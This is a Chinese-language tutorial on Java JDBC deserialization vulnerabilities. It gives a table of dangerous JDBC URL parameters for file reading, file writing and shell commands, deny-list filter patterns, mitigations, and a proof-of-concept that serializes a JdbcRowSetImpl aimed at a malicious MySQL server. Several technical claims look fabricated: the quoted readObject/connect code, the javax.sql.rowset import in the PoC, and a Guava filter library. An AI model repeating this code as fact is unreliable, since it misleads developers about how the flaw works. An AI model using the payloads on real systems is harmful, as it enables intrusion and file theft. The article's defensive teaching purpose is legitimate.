Java JDBC 反序列化实战案例
作者:独角鲸网络安全实验室
JDBC(Java Database Connectivity)是Java访问数据库的标准API,其核心定位是提供数据库连接、SQL执行、结果集处理的内存态操作接口——JDBC核心组件(Driver、Connection、Statement、ResultSet)本身不设计序列化/反序列化能力,也不建议被持久化或跨网络传输。
但在实际开发中,基于JDBC的扩展组件(如RowSet、数据源实现)或自定义JDBC封装类,可能因实现Serializable接口、反序列化时执行危险操作(如加载恶意类、执行SQL注入、连接恶意数据库),导致反序列化漏洞。
一、核心前提:JDBC与序列化的本质关系
1. JDBC核心组件的设计初衷
JDBC核心API(java.sql.*包)的对象(如Connection、Statement、ResultSet)是数据库连接的运行时句柄,依赖底层Socket连接和数据库会话状态,设计目标是“内存中临时使用”,不支持序列化(未实现Serializable接口)。
2. 风险来源:JDBC扩展组件的序列化支持
漏洞并非来自JDBC标准本身,而是来自基于JDBC的扩展组件——这些组件为了支持“数据持久化”或“跨进程传输”,实现了Serializable接口,但在反序列化过程中执行了危险逻辑:
- JDK自带:
javax.sql.rowset.JdbcRowSetImpl、CachedRowSetImpl、WebRowSetImpl(RowSet接口的实现,封装了JDBC连接逻辑); - 第三方数据源:Apache DBCP的
BasicDataSource、C3P0的ComboPooledDataSource(序列化时存储了数据库连接配置); - ORM工具集成:Hibernate的
PersistentBag、MyBatis的ResultMap(若封装了JDBC相关对象并支持序列化); - 自定义封装类:开发者自定义的JDBC工具类(如
Serializable的DBHelper),反序列化时执行数据库连接或SQL执行。
二、典型漏洞原理:以JdbcRowSetImpl为例
JdbcRowSetImpl是JDK自带的RowSet实现(javax.sql.rowset包),支持序列化,其反序列化漏洞是JDBC相关反序列化风险的典型代表,影响JDK 8u121之前的版本(后续JDK通过安全修复限制了危险操作)。
1. 漏洞触发链路
JdbcRowSetImpl的反序列化漏洞核心是:反序列化时自动执行数据库连接逻辑,且连接参数(URL、驱动类、用户名、密码)可被攻击者控制。
关键流程拆解:
// 1. JdbcRowSetImpl实现Serializable接口,允许序列化/反序列化
public class JdbcRowSetImpl implements Serializable, JdbcRowSet { ... }
// 2. 反序列化时调用readObject()方法(默认或自定义)
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject(); // 读取序列化的属性(url、user、password、driverClass等)
internalInit(); // 初始化内部状态
connect(); // 关键:反序列化时自动建立数据库连接
}
// 3. connect()方法的危险逻辑
private void connect() throws SQLException {
if (driverClass != null) {
Class.forName(driverClass); // 加载驱动类(若driverClass可控,可加载恶意类)
}
// 建立数据库连接(若URL可控,可利用JDBC驱动的危险参数执行命令)
this.conn = DriverManager.getConnection(url, user, password);
}2. 漏洞放大:JDBC驱动的危险特性
不同数据库的JDBC驱动支持一些“危险URL参数”,若攻击者控制JdbcRowSetImpl的url属性,可通过这些参数执行恶意操作:
| 数据库 | 危险URL参数 | 危害 |
|---|---|---|
| MySQL | allowLoadLocalInfile=true | 读取本地文件(配合SQL注入) |
| MySQL | logOutput=FILE&logFile=/tmp/malicious.sh | 写入恶意文件 |
| PostgreSQL | options=-c 'shell command' | 执行系统命令(需数据库权限) |
| 恶意驱动 | jdbc:malicious://... | 加载自定义恶意JDBC驱动,执行任意代码 |
3. 漏洞触发条件
- 应用程序对不可信数据(如网络传输、文件上传、缓存、日志)执行反序列化;
- 应用依赖JDK 8u121之前的版本(未修复该漏洞);
- 攻击者可控制序列化数据中的
JdbcRowSetImpl属性(url、driverClass、user、password)。
三、其他JDBC相关反序列化风险点
1. 第三方数据源组件
- Apache DBCP
BasicDataSource:序列化时存储了url、username、password、driverClassName等配置,反序列化时若参数被篡改,可能导致连接恶意数据库或泄露敏感信息; - C3P0
ComboPooledDataSource:同理,序列化的连接池配置可被篡改,反序列化时初始化恶意连接池。
2. ORM工具与JDBC的结合场景
- Hibernate:若实体类包含
Serializable的JDBC相关对象(如ResultSet封装类),且反序列化时触发懒加载,可能执行恶意SQL; - MyBatis:若
ResultMap对应的实体类实现Serializable,且反序列化时触发@PostConstruct或自定义readObject中的JDBC操作,可能被利用。
3. 自定义JDBC封装类
开发者常自定义Serializable的JDBC工具类(如DBUtil),若存在以下情况,可能引入漏洞:
readObject方法中直接执行Class.forName(driverClass)(驱动类可控);- 反序列化时自动执行
executeQuery(sql)(SQL语句可控,导致SQL注入); - 序列化数据中包含数据库密码,未加密导致泄露。
四、漏洞防御方案(核心:阻断危险反序列化链路)
JDBC相关反序列化漏洞的防御核心是:避免序列化JDBC相关对象、限制反序列化类范围、禁用危险功能、验证数据来源。
1. 根本原则:禁止序列化JDBC相关对象
- 不序列化
RowSet、DataSource、Connection等JDBC相关对象; - 若需跨进程传输数据库查询结果,使用DTO(数据传输对象) 封装纯数据(如
UserDTO包含id、name),而非直接序列化ResultSet或RowSet; - 替代方案:使用JSON、XML等安全序列化格式(如Jackson、Fastjson),而非Java原生序列化。
2. 限制反序列化的类范围(最有效)
使用反序列化过滤器,只允许信任的类进行反序列化,禁止危险类(如javax.sql.rowset.*、第三方数据源类):
- Java 9+:使用
ObjectInputFilter(JDK原生支持); - Java 8及以下:使用第三方库(如Apache Commons IO的
ValidatingObjectInputStream、Google Guava的SerializationFilters)。
示例:Java 9+ ObjectInputFilter配置
// 仅允许com.example包下的类和Java基础类反序列化,禁止javax.sql.rowset.*
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.example.*; java.base/*; !javax.sql.rowset.*; !org.apache.commons.dbcp.*"
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter); // 设置过滤器
Object obj = ois.readObject(); // 仅允许白名单类反序列化
3. 禁用JDBC驱动的危险功能
配置JDBC URL时,显式禁用危险参数:
- MySQL:
allowLoadLocalInfile=false、logOutput=NONE; - PostgreSQL:避免使用
options参数,或限制数据库用户权限(禁止执行shell命令); - 禁用不必要的JDBC驱动:仅加载应用所需的数据库驱动,避免加载恶意驱动(如通过
DriverManager.deregisterDriver()移除无用驱动)。
4. 验证序列化数据的来源与完整性
- 仅对可信来源(如内部服务、加密存储)的数据进行反序列化;
- 对序列化数据进行签名或加密(如使用AES加密+RSA签名),反序列化前验证签名,防止数据被篡改。
5. 升级依赖组件
- 升级JDK:至8u121+(修复
JdbcRowSetImpl反序列化漏洞)或更高版本; - 升级JDBC驱动:使用官方最新版本,修复已知的URL参数注入、驱动类加载漏洞;
- 升级数据源/ORM框架:如Apache DBCP 2.9.0+、C3P0 0.9.5.9+、Hibernate 5.6.14.Final+。
6. 避免自定义危险的readObject方法
若必须自定义Serializable类(如DTO),需满足:
readObject方法中不执行危险操作(类加载、数据库连接、SQL执行、命令调用);- 对反序列化的属性(如
url、driverClass)进行严格校验(如正则匹配合法URL格式、白名单校验驱动类名)。
五、实战案例:JdbcRowSetImpl漏洞POC(仅供学习)
以下POC演示如何构造恶意JdbcRowSetImpl序列化数据,触发反序列化时的恶意数据库连接(需在JDK 8u121之前环境测试):
1. 构造恶意序列化数据
import javax.sql.rowset.JdbcRowSetImpl;
import java.io.*;
public class JdbcRowSetPoc {
public static void main(String[] args) throws Exception {
// 1. 构造恶意JdbcRowSetImpl对象(控制URL和驱动类)
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setUrl("jdbc:mysql://malicious-server:3306/test?allowLoadLocalInfile=true"); // 恶意URL
rowSet.setDriverClass("com.mysql.cj.jdbc.Driver"); // 合法驱动(或恶意驱动类名)
rowSet.setUsername("attacker");
rowSet.setPassword("pass123");
// 2. 序列化对象到字节流(攻击者可将该字节流注入目标应用)
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(rowSet);
byte[] maliciousData = bos.toByteArray();
// 3. 目标应用反序列化(模拟漏洞触发)
ByteArrayInputStream bis = new ByteArrayInputStream(maliciousData);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject(); // 反序列化时触发connect(),连接恶意MySQL服务器
}
}2. 漏洞危害说明
- 若
driverClass设为恶意类(如com.attacker.MaliciousDriver),且该类可被目标应用加载(如通过类路径注入),则Class.forName(driverClass)会执行恶意类的静态代码块; - 若
url包含MySQL的allowLoadLocalInfile=true,配合后续SQL注入,可读取目标服务器本地文件(如/etc/passwd); - 连接恶意数据库服务器,可能泄露应用的敏感信息(如用户名、密码、业务数据)。
六、总结:JDBC反序列化漏洞的核心认知
- 漏洞根源不是JDBC本身:JDBC标准API不支持序列化,风险来自“实现了
Serializable的JDBC扩展组件”和“不当的序列化实践”; - 触发核心是“反序列化+危险操作”:漏洞的关键是反序列化过程中自动执行数据库连接、类加载等危险逻辑,且输入参数可控;
- 防御核心是“最小权限+可信数据”:限制反序列化类范围、禁止序列化JDBC相关对象、禁用危险功能、验证数据来源,即可阻断绝大多数风险。
在实际开发中,应遵循“能不序列化则不序列化”的原则,若必须序列化,仅传输纯数据(DTO),而非包含业务逻辑(如数据库连接)的对象。同时,通过反序列化过滤器、组件升级、参数校验等手段,构建多层防御体系。
到此这篇关于Java JDBC 反序列化深度解析的文章就介绍到这了,更多相关Java JDBC 反序列化内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
